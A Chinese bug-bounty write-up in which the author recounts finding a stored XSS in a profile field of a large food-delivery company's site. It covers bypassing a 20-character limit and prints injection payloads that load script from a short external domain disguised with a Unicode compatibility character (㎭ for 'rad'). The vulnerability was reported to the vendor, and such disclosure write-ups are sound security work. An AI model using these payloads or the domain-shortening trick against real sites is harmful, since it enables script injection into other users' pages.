SRC实战 浅挖国内某外卖大厂储存型XSS
0、前言
这是本人一个多月前的一次对某大型外卖厂商的src经历
由于这次经历非常的典型，而且本人也因此获得了比较丰厚的报酬
因此把它记录下来
出于对商业性渗透的保密原则，无法在此展示任何关于该厂商的图片内容
1、前期资产搜集阶段
前期资产搜集阶段很艰难痛苦，使用不少资产搜索框架，均无法搜寻到大量有价值的资产信息
(毕竟人家大厂的工程师也不是吃素的)
就这样持续了几天，没有通杀的情况下，在看了不少站点+移动端资产后，终于发现了可疑xss注入点
2、前期注入尝试阶段
在某子域下的某站点内的个人信息处，发现账号信息修改栏竟然没有经过过滤
于是仔细钻研账号信息这个点，发现了以下规律
1、账号信息处可以填任意utf-8码字符，但是返回的网页会转义()等字符，不转义””,’’,/
2、账号信息可作为公开信息展示在个人主页上，非常方便构造储存型xss
3、账号信息输入处处于某标签的value中
4、账号信息限制20长度字符，并且是后端硬校验，常规方法无法突破
于是可乘之机就来了
既然账号处是处于某标签的value中，那么就无需<>号了，直接先”“绕过，尝试构造新的标签参数
"><script src="
成功，并且没有任何的过滤，只是网页排版变得混乱了很多
直接改返回包，添加函数，试试能否执行alert函数(由于括号被绕过，所以暂时用burp改返回包判断一下)
"><script src="alert(1)
成功弹窗
说明此处可以运行script
由于长度限制在20，我们想要执行更多js代码，必须引入外部url里面的script，而不是括号绕过
通过人脑极限压缩大法，我们最终将执行外部url的payload极限压缩到15个字符
payload：
"<script src=//[填写域名]
该payload生成出来的网页简直是一坨稀饭，不过经过验证可以执行域名包含的js代码(不过该处填写的域名解析出的网站必须是跟随主站协议，比如像主站用https验证站就得用https)
该payload除开域名部分总长度为15，我们填写的域名+路径不能超过5字符
当时就想到了短域名等方案，但都太长了
然后想到干脆注册个域名算了，但又发现这种5字符长度的域名都太贵了
经过我苦苦思考，终于发现了一个特别隐蔽的规则能利用：utf-8编码字母符号
众所周知，utf-8字符集里有各种各样的字母符号，比如像：
| 字母符号 | 编码 |
| ™ | 8482号 |
| ℡ | 8481号 |
| ㎭ |
但绝大多数人不知道的是，在浏览器域名解析这些字母符号时，会自动按以下格式转换成英文字母：
| 字母符号 | 编码 | 对应英文字母 |
| ™ | 8482号 | tm |
| ℡ | 8481号 | tel |
| ㎭ | rad |
这些字母符号无论解析出来的英文有多长，都仅占用1个字符宽度
注册一个域名radq.cc，无论是使用㎭q.cc还是radq.cc，都能顺利C类解析到同一源ip
这样就好办了，不用花大价钱注册5长度域名，只需花小价钱注册一个包含特殊字符的5长度域名就可以了
3、中期payload注入阶段
注册了radq.cc，在该域名下挂js脚本，顺利注入
final payload:
"<script src=//㎭q.cc
最后顺利注入，当然获取用户敏感信息是不太现实的，因为各种HTTP-ONLY的防御手段
最后顺利注入，提交了漏洞信息，并且管理员处理的很快，喜提中危，不愧是大厂
注意，本文最终payload并非真正payload，厂商自带waf，需要额外绕过一下，不在赘述
本篇文章由leeya_bug(leeyange)自创，文章属亲身经历，禁止抄袭payload